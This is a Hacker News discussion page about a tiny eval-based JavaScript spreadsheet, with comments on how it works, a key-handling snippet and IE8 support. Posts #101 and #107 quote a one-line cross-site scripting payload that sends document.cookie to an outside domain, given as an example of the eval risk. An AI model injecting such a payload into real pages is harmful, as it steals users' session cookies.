Live data from Hacker News

A spreadsheet in fewer than 30 lines of JavaScript, no library used

jsfiddle.net

101–110 of 274 posts

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#101

Earlier quoted context omitted.

Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

document.write('<img src="somedomain.com/?'+document.cookie);

have you heard of the HttpOnly attribute for cookies?

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#102
post #73

Can someone help me understand how this works? Don't have deep JS knowledge and I can't see what's going on with `DATA` and all that.

Well I'm a javascript noob myself but I'll try to explain. The clever thing is how he used eval.

This is where the magic happens :

  var getter = function() {

          var value = localStorage[elm.id] || "";

          if (value.charAt(0) == "=") {

              with (DATA) return eval(value.substring(1));

          } else { return isNaN(parseFloat(value)) ? value :

  parseFloat(value); }

     };
So if you entered "=A1 + A2" it would be evaluated as DATA[A1]+DATA[A2] . A1 and A2 get bound to DATA because of the preceding with statement.

Now the question is what happens when DATA[A1] is called. He used Object.defineProperty to ensure that whenever you try to access a cell the same method (which i just explained) gets called.

    Object.defineProperty(DATA, elm.id, {get:getter});
This means add a property called elm.id to DATA and it's getter is the function I just explained.

So whenever we try to acess DATA[something] it hooks into the same getter method so a cell can depend on another cell which depends on another cell and so on ..

Now you can see why this so clever. Because he used the inbuilt eval it can evaluate any kind of formula involving multiplication , division or function calls.

The only thing I dont understand is how circular references are prevented.

Like I said I'm not very familiar with JS so if anyone notices anything wrong I'd like to know.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#104
post #94
post #30

Are there any more full-featured libraries that people use for this? I've found SpreadJS[0], GelSheet[1], jQuery.Sheet[2], and ZK Spreadsheet, but none seem like thriving open-source projects as far as I can tell. [0] http://wijmo.com/demo/spreadjs/samples/index.html [1] http://www.gelsheet.org/demo [2] http://visop-dev.com/Project+jQuery.sheet [3] http://www.zkoss.org/product/zkspreadsheet

I'd really love to see one that supports a hierarchy of JSON data, such as a treegrid.

Can you explain how such a tree would map inside a graph? I can't think of an obvious use case.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#106

Earlier quoted context omitted.

A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector ( http://norvig.com/spell-correct.html ): this language is more powerful and expressive than I thought. I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.

I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better. It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off th…

> it looks like IE8 is finally falling off the radar

Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support).

At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#107

Earlier quoted context omitted.

Please elaborate. ( i ask because i am writing a spreadsheet where every cell can be JSON or a JS expression ) What sort of vulnerabilities does this expose, besides letting the user shoot their feet repeatedly? Cross site scripting?

document.write('<img src="somedomain.com/?'+document.cookie);

But you'd need to send a spreadsheet with that to the victim.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#108
post #58
post #19

Earlier quoted context omitted.

Neat idea, lowercase fixed!

Worth a line of code to add return key to move down a cell?

http://jsfiddle.net/hYfN3/197/

    elm.onkeydown = function(evt) {
        evt = evt || window.event;
        var keyCode = evt.keyCode || evt.which;
        if (keyCode == '13') {
            var nextid = this.id.charAt(0) + String.fromCharCode(this.id.charCodeAt(1)+1);
            document.getElementById(nextid).focus();
        }
    };
disclaimer: I don't know JS

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#109

Earlier quoted context omitted.

I've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better. It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off th…

> it looks like IE8 is finally falling off the radar Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended su…

Seconding this - some of us designing web applications / intranet apps for banks or government have to support IE8 for the foreseeable future. We're just now starting to drop IE6 support for the new versions of our products.

Re: A spreadsheet in fewer than 30 lines of JavaScript, no library used

#110

This works wonderfully. Definitely the most punch I've seen per line of code. You can use javascript functions in your excel formulas. In a 30 line of code program this is a feature. = alert("I love it.");

Definitely a cool hack, but I had to laugh out loud at "Excel-like syntax (formulas start with "=")". Apparently the grammar for an "excel-like" syntax is:

excel_like_expression ::= "=" javascript_expression

Post reply on HN